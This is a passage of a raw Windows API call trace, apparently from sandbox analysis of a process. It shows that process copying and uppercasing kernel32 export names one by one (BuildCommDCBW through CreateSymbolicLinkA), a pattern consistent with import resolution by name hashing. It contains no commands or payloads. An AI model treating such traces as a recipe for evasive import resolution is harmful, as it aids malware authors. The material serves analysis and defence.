lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0140.349] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0140.349] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0140.349] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0140.349] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0140.349] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0140.349] lstrlenA (lpString="CANCELIO") returned 8 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0140.349] lstrlenA (lpString="CANCELIOEX") returned 10 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0140.349] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0140.349] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0140.349] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0140.349] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0140.349] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0140.349] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0140.349] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0140.349] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0140.350] lstrlenA (lpString="CHECKELEVATION") returned 14 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0140.350] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0140.350] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0140.350] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0140.350] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0140.350] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0140.350] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0140.350] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0140.350] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0140.350] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0140.350] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0140.350] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0140.350] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0140.350] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0140.350] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0140.350] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0140.350] lstrlenA (lpString="CLOSESTATE") returned 10 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0140.350] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0140.350] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0140.350] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0140.350] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0140.351] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0140.351] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0140.351] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0140.351] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0140.351] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0140.351] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0140.351] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0140.351] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0140.351] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0140.351] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0140.351] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0140.351] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0140.351] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0140.351] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0140.351] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0140.351] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0140.351] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0140.351] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0140.351] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0140.351] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0140.351] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0140.351] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0140.352] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0140.352] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0140.352] lstrlenA (lpString="COPYCONTEXT") returned 11 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0140.352] lstrlenA (lpString="COPYFILE2") returned 9 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0140.352] lstrlenA (lpString="COPYFILEA") returned 9 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0140.352] lstrlenA (lpString="COPYFILEEXA") returned 11 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0140.352] lstrlenA (lpString="COPYFILEEXW") returned 11 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0140.352] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0140.352] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0140.352] lstrlenA (lpString="COPYFILEW") returned 9 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0140.352] lstrlenA (lpString="COPYLZFILE") returned 10 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0140.352] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0140.352] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0140.352] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0140.352] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0140.352] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0140.352] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0140.352] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0140.352] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0140.352] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0140.352] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0140.352] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0140.353] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0140.353] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0140.353] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0140.353] lstrlenA (lpString="CREATEEVENTA") returned 12 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0140.353] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0140.353] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0140.353] lstrlenA (lpString="CREATEEVENTW") returned 12 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0140.353] lstrlenA (lpString="CREATEFIBER") returned 11 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0140.353] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0140.353] lstrlenA (lpString="CREATEFILE2") returned 11 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0140.353] lstrlenA (lpString="CREATEFILEA") returned 11 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0140.353] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0140.353] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0140.353] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0140.353] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0140.353] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0140.353] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0140.353] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0140.353] lstrlenA (lpString="CREATEFILEW") returned 11 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0140.353] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0140.353] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0140.354] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0140.354] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0140.354] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0140.354] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0140.354] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0140.354] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0140.354] lstrlenA (lpString="CREATEJOBSET") returned 12 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0140.354] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0140.354] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0140.354] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0140.354] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0140.354] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0140.354] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0140.354] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0140.354] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0140.354] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0140.354] lstrlenA (lpString="CREATEPIPE") returned 10 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0140.354] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0140.354] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0140.354] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0140.355] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0140.355] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0140.355] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0140.355] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0140.355] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0140.355] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0140.355] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0140.355] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0140.355] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0140.355] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0140.355] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0140.355] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0140.355] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0140.355] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0140.355] lstrcpyA (in: lpString1=0x38bdb2c, 